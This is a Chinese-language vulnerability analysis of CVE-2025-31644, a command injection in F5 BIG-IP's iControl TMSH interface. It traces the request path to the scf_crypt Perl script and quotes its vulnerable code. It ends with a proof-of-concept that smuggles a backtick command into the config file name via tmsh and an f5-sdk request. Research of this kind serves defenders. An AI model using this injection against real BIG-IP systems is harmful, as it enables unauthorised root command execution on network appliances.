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CVE-2025-31644 F5 BIG-IP iControl TMSH 接口命令注入漏洞深入分析

单站 且听安全 发布 Mon, 02 Jun 2025 08:01:00 +0800 入库 2026-11-18T12:42:13

原创 KCyber 2025-06-02 08:01 北京

结合最新的 CVE-2025-31644 命令注入漏洞,深入分析 F5 BIG-IP iControl TMSH 接口实现机制和漏洞触发原理。

F5 BigIP iControl

服务提供了一套
TMSH

的
REST API

接口,近期
此外,在 
BigIP

历史上曝出的 
CVE-2021-22986

、 
CVE-2022-1388

等多个认证绕过漏洞中,均尝试结合 
/mgmt/tm/util/bash

实现来实现命令执行。下面结合 
CVE-2025-31644

命令注入漏洞,分析一下 
TMSH

接口实现机制和漏洞触发原理。

BigIP

系统的
443

端口对应
Apache httpd

服务,通过配置可将用户请求转发到后端的多个
Java

进程,比如
/mgmt/

请求将转发到
8100

端口的
/mgmt

:
ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0ProxyPassReverse /vmchannel/ http://localhost:8585/vmchannel/ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/

/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/bin/java -Djava.util.logging.manager=com.f5.rest.common.RestLogManager -Djava.util.logging.config.file=/etc/restjavad.log.conf -Dlog4j.defaultInitOverride=true -Dorg.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -Dsun.jnu.encoding=UTF-8 -Dfile.encoding=UTF-8 -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSInitiatingOccupancyFraction=60 -XX:+ScavengeBeforeFullGC -XX:+CMSScavengeBeforeRemark -XX:ParallelGCThreads=8 -XX:ConcGCThreads=3 -XX:-UseCompressedOops -XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=512m -Xms96m -Xmx384m -XX:-UseLargePages -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-2.0.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.11.0.jar:/usr/share/java/rest/libs/jackson-core-2.11.0.jar:/usr/share/java/rest/libs/jackson-databind-2.11.0.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/jmimemagic-0.1.5.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --iApplxRpmConnectionTimeoutSeconds=60 --restnodedRestartAwaitTimeoutInSeconds=1200 --isStipModeEnabled=false --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=b91ee950-0563-4234-bc88-4ab0f93075d7

启动类为 
com.f5.rest.workers.RestWorkerHost

。通过进程分析,找到服务程序位于 
/etc/bigstart/scripts/restjavad

。

URL

以
/mgmt/tm/

开头,比如
/mgmt/tm/util/bash

:
在 
WellKnownPorts

中列举了合法的
URL

集合。
iControl

中自定义
RestWorker

类型对应
API

请求处理,
ForwarderWorker

的
onStartCompleted

注册
/mgmt

请求的处理类为
ForwarderPassThroughWorker

:

ForwarderPassThroughWorker#onForward

函数中,首先判断请求
url

是否位于
mapping

集合中,完成一系列条件判断后,将利用
cloneAndForwardRequest

进行请求转发。调用栈如下:
最终请求去掉了 
mgmt

,然后再次转发至 
8100

端口:

此时对应的 
RestWorker

类型变为 
PublicWorker

,内部将调用 
ProcessManager#spawnChildUnderCondition

启动新进程进行处理。这里启动的进程为 
ChildWrapper#createChildBuilder

中创建的 
icrd_child

:

完整调用栈如下:

漏洞触发点位于接口 
/mgmt/tm/sys/config

,参考 https://f5-sdk.readthedocs.io/en/latest/userguide/commands.html ,构造请求如下:

from f5.bigip import ManagementRoot mgmt = ManagementRoot('ip', 'user', 'password') options = {} options['file'] = '111111111111111' proxies={ } requests_params={ 'proxies':proxies } mgmt.tm.sys.config.exec_cmd('save', options=[options],requests_params=requests_params)

需要根据响应包提示的错误修正请求包:

为了快速分析,借助 
pspy

进行进程监控,发现 
icrd_child

将会启动 
scf_crypt

这个 
perl

脚本,并且文件名参数 
file

直接传入了脚本:

上述实现过程位于 
libtmsh.so

中的 
ConfigFileCmd::execute_update

函数,内部将利用 
do_cryption

进行加密处理,进而调用第三方脚本 
scf_crypt

完成操作:

查看 
scf_crypt

脚本,传入的 
filename

参数将直接拼接到 
cmd

中,然后通过反引号执行系统命令,存在命令注入漏洞:

...my $action_type = $ARGV[0];my $filename = $ARGV[1];my $passphrase;my $output_file;my $cmd;my $count;...if ($action_type eq "encrypt") { my $tempFile=File::Temp->new(); my $temp=$tempFile->filename; if ($count == 2) { $passphrase =\~ s/`/\\`/g; open(FH,'>',$temp ); print FH $passphrase; close(FH); chmod 600, $temp; $cmd = "gpg --homedir /root/.gnupg --passphrase-file $temp --batch -a --symmetric --cipher-algo AES $filename"; } else { open(FH,'>',$temp ); print FH $passphrase; close(FH); chmod 600, $temp; $cmd = "gpg --homedir /root/.gnupg --passphrase-file $temp --batch -a --symmetric --cipher-algo AES $filename"; } `$cmd &> /dev/null`;...

可以利用反引号实现命令注入:

与 
CVE-2025-20029

类似,通过 
tmsh cli

也可以触发漏洞:

[root@localhost:Active:Standalone] tmp # tmshroot@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)# save sys config file aaa`id>&2` passphrase 123

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原文链接:https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&mid=2247492045&idx=1&sn=4aa5d92ab474e19ac263cf91acdef793